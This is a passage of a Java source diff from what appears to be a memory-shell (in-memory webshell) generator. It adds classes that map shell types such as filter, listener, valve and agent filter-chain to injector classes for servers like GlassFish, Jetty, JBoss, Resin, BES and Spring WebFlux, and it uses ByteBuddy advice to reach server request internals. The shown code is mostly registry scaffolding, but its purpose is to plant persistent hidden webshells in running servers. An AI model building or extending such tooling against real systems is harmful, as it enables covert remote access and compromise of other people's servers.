+                .addInjector(FILTER, ApusicFilterInjector.class)
+                .addInjector(LISTENER, ApusicListenerInjector.class).build();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java

@@ -0,0 +1,29 @@
+package com.reajason.javaweb.memshell.server;
+
+import com.reajason.javaweb.memshell.injector.bes.*;
+
+import static com.reajason.javaweb.memshell.ShellType.*;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/26
+ */
+public class BesShell extends AbstractShell {
+
+    @Override
+    public Class<?> getListenerInterceptor() {
+        return TomcatShell.ListenerInterceptor.class;
+    }
+
+    @Override
+    public InjectorMapping getShellInjectorMapping() {
+        return InjectorMapping.builder()
+                .addInjector(FILTER, BesFilterInjector.class)
+                .addInjector(LISTENER, BesListenerInjector.class)
+                .addInjector(VALVE, BesValveInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, BesContextValveAgentWithAsmInjector.class)
+                .build();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java

@@ -0,0 +1,59 @@
+package com.reajason.javaweb.memshell.server;
+
+import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
+import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
+import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
+import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import net.bytebuddy.asm.Advice;
+import net.bytebuddy.implementation.bytecode.assign.Assigner;
+
+import static com.reajason.javaweb.memshell.ShellType.*;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/12
+ */
+public class GlassFishShell extends AbstractShell {
+
+    public static class ListenerInterceptor {
+
+        @Advice.OnMethodExit
+        public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
+            try {
+                response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response");
+            } catch (Exception e) {
+                try {
+                    response = ShellCommonUtil.getFieldValue(request, "response");
+                } catch (Exception ee) {
+                    // glassfish7
+                    response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "reqFacHelper"), "response");
+                }
+            }
+        }
+    }
+
+    @Override
+    public Class<?> getListenerInterceptor() {
+        return ListenerInterceptor.class;
+    }
+
+    @Override
+    public InjectorMapping getShellInjectorMapping() {
+        return InjectorMapping.builder()
+                .addInjector(FILTER, GlassFishFilterInjector.class)
+                .addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
+                .addInjector(LISTENER, GlassFishListenerInjector.class)
+                .addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
+                .addInjector(VALVE, GlassFishValveInjector.class)
+                .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
+                .build();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java

@@ -0,0 +1,39 @@
+package com.reajason.javaweb.memshell.server;
+
+import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
+import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
+import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
+
+import static com.reajason.javaweb.memshell.ShellType.*;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/24
+ */
+public class InforSuiteShell extends AbstractShell {
+
+    @Override
+    public Class<?> getListenerInterceptor() {
+        return TomcatShell.ListenerInterceptor.class;
+    }
+
+    @Override
+    public InjectorMapping getShellInjectorMapping() {
+        return InjectorMapping.builder()
+                .addInjector(FILTER, InforSuiteFilterInjector.class)
+                .addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
+                .addInjector(LISTENER, GlassFishListenerInjector.class)
+                .addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
+                .addInjector(VALVE, GlassFishValveInjector.class)
+                .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
+                .build();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/server/InjectorMapping.java

@@ -0,0 +1,32 @@
+package com.reajason.javaweb.memshell.server;
+
+import lombok.Builder;
+import lombok.Singular;
+
+import java.util.Collections;
+import java.util.LinkedHashMap;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/21
+ */
+@Builder
+public class InjectorMapping {
+
+    @Singular("addInjector")
+    private final Map<String, Class<?>> injectorMap;
+
+    public InjectorMapping(Map<String, Class<?>> injectorMap) {
+        this.injectorMap = new LinkedHashMap<>(injectorMap);
+    }
+
+    public Class<?> getInjector(String type) {
+        return injectorMap.get(type);
+    }
+
+    public Set<String> getSupportedShellTypes() {
+        return Collections.unmodifiableSet(injectorMap.keySet());
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java

@@ -0,0 +1,36 @@
+package com.reajason.javaweb.memshell.server;
+
+import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector;
+import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
+import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
+
+import static com.reajason.javaweb.memshell.ShellType.*;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/10
+ */
+public class JbossShell extends AbstractShell {
+
+    @Override
+    public Class<?> getListenerInterceptor() {
+        return TomcatShell.ListenerInterceptor.class;
+    }
+
+    @Override
+    public InjectorMapping getShellInjectorMapping() {
+        return InjectorMapping.builder()
+                .addInjector(FILTER, JbossFilterInjector.class)
+                .addInjector(LISTENER, JbossListenerInjector.class)
+                .addInjector(VALVE, JbossValveInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
+                .build();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java

@@ -0,0 +1,46 @@
+package com.reajason.javaweb.memshell.server;
+
+import com.reajason.javaweb.memshell.injector.jetty.*;
+import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import net.bytebuddy.asm.Advice;
+import net.bytebuddy.implementation.bytecode.assign.Assigner;
+
+import static com.reajason.javaweb.memshell.ShellType.*;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/7
+ */
+public class JettyShell extends AbstractShell {
+
+    public static class ListenerInterceptor {
+
+        @Advice.OnMethodExit
+        public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
+            try {
+                response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_channel"), "_response");
+            } catch (Exception e) {
+                response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connection"), "_response");
+            }
+        }
+    }
+
+    @Override
+    public Class<?> getListenerInterceptor() {
+        return ListenerInterceptor.class;
+    }
+
+    @Override
+    public InjectorMapping getShellInjectorMapping() {
+        return InjectorMapping.builder()
+                .addInjector(SERVLET, JettyServletInjector.class)
+                .addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
+                .addInjector(FILTER, JettyFilterInjector.class)
+                .addInjector(JAKARTA_FILTER, JettyFilterInjector.class)
+                .addInjector(LISTENER, JettyListenerInjector.class)
+                .addInjector(JAKARTA_LISTENER, JettyListenerInjector.class)
+                .addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
+                .addInjector(JETTY_AGENT_HANDLER_ASM, JettyHandlerAgentWithAsmInjector.class)
+                .build();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java

@@ -0,0 +1,38 @@
+package com.reajason.javaweb.memshell.server;
+
+import com.reajason.javaweb.memshell.injector.resin.*;
+import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import net.bytebuddy.asm.Advice;
+import net.bytebuddy.implementation.bytecode.assign.Assigner;
+
+import static com.reajason.javaweb.memshell.ShellType.*;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/14
+ */
+public class ResinShell extends AbstractShell {
+
+    public static class ListenerInterceptor {
+        @Advice.OnMethodExit
+        public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
+            response = ShellCommonUtil.getFieldValue(request, "_response");
+        }
+    }
+
+    @Override
+    public Class<?> getListenerInterceptor() {
+        return ListenerInterceptor.class;
+    }
+
+    @Override
+    public InjectorMapping getShellInjectorMapping() {
+        return InjectorMapping.builder()
+                .addInjector(SERVLET, ResinServletInjector.class)
+                .addInjector(FILTER, ResinFilterInjector.class)
+                .addInjector(LISTENER, ResinListenerInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN_ASM, ResinFilterChainAgentWithAsmInjector.class)
+                .build();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java

@@ -0,0 +1,54 @@
+package com.reajason.javaweb.memshell.server;
+
+import com.reajason.javaweb.memshell.Server;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.memshell.generator.ListenerGenerator;
+import com.reajason.javaweb.memshell.generator.ValveGenerator;
+
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/22
+ */
+public class ServerToolRegistry {
+
+    public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping) {
+        Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
+        for (Server value : Server.values()) {
+            AbstractShell shell = value.getShell();
+            InjectorMapping shellInjectorMapping = shell.getShellInjectorMapping();
+            Set<String> injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes();
+            ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder();
+
+            for (Map.Entry<String, Class<?>> entry : rawToolMapping.entrySet()) {
+                String shellType = entry.getKey();
+                if (!injectorSupportedShellTypes.contains(shellType)) {
+                    continue;
+                }
+                Class<?> shellClass = entry.getValue();
+
+                if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
+                    shellClass = ListenerGenerator.generateListenerShellClass(shell.getListenerInterceptor(), shellClass);
+                }
+                boolean isValve = (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType));
+                if (isValve && shell instanceof TongWeb6Shell) {
+                    shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB6_VALVE_PACKAGE, shellClass);
+                }
+
+                if (isValve && shell instanceof TongWeb7Shell) {
+                    shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB7_VALVE_PACKAGE, shellClass);
+                }
+
+                if (isValve && shell instanceof BesShell) {
+                    shellClass = ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, shellClass);
+                }
+
+                toolMappingBuilder.addShellClass(shellType, shellClass);
+            }
+            shell.addToolMapping(shellTool, toolMappingBuilder.build());
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebFluxShell.java

@@ -0,0 +1,25 @@
+package com.reajason.javaweb.memshell.server;
+
+import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerFunctionInjector;
+import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector;
+import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxNettyHandlerInjector;
+import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector;
+
+import static com.reajason.javaweb.memshell.ShellType.*;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/24
+ */
+public class SpringWebFluxShell extends AbstractShell {
+
+    @Override
+    public InjectorMapping getShellInjectorMapping() {
+        return InjectorMapping.builder()
+                .addInjector(SPRING_WEBFLUX_WEB_FILTER, SpringWebFluxWebFilterInjector.class)
+                .addInjector(SPRING_WEBFLUX_HANDLER_METHOD, SpringWebFluxHandlerMethodInjector.class)
+                .addInjector(SPRING_WEBFLUX_HANDLER_FUNCTION, SpringWebFluxHandlerFunctionInjector.class)
+                .addInjector(NETTY_HANDLER, SpringWebFluxNettyHandlerInjector.class)
+                .build();
+    }
+}